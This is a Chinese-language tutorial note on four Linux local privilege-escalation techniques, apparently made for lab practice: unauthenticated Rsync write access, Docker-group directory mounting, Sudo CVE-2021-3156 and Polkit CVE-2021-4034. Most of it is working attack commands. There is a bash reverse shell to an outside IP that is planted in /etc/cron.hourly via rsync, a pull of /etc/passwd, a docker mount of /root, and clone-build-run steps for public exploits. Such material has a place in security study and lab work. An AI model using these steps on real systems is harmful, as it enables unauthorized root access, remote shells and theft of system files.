演示案例
Linux-Rsync未授权访问覆盖-本地
Linux-Docker组用户挂载目录-本地
Linux-Sudo(CVE-2021-3156)-本地
Linux-Polkit(CVE-2021-4034)-本地
Rsync(未授权访问)
Rsync是linux下一款数据备份工具,默认开启873端口
https://vulhub.org/#/environments/rsync/common/
借助Linux默认计划任务调用/etc/cron.hourly,利用rsync连接覆盖
-验证:rsync rsync://ip:873/
-提权过程:
1、创建一个nc文件,内容
#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&1
2、赋予执行权限:
chmod +x nc
3、上传文件覆盖定时任务目录下
rsync -av nc rsync://47.94.236.117:873/src/etc/cron.hourly
3.1、下载文件
rsync -av rsync://47.94.236.117:873/src/etc/passwd ./
4、进行nc 监听相应的端口
nc -lvnp 3333
Docker组挂载
普通用户在docker组,利用docker服务启动镜像挂载目录
从而来访问root目录、etc目录等敏感文件来进行权限提升。
-复现:创建用户归类目录,添加到docker组
useradd -d /home/test -m test
passwd test
usermod -G docker test
newgrp docker
-利用:
docker run -v /root:/mnt -it alpine
主要的作用是:从Docker上面下载alpine镜像,然后运行;
-v将容器外部的目录/root挂载到容器内部/mnt,使用-it参数进入容器shell。
(个人理解就是普通用户test通过docker挂载把/root目录挂载到了容器内部,其本来是不能访问/root目录的,
现在可以通过访问容器内部挂载的目录实现越权,并能实现创建、修改等操作)
SUDO(CVE-2021-3156)
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
-判断:sudoedit -s / (报错:不是常规文件)
-利用:
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 1
Polkit(CVE-2021-4034)
漏洞影响2009年5月至今的所有polkit版本
由于polkit是系统预装工具,所有存在polkit的linux系统均受影响
如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等
-判断:dpkg -l policykit-1
-利用:
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034/
make
./cve-2021-4034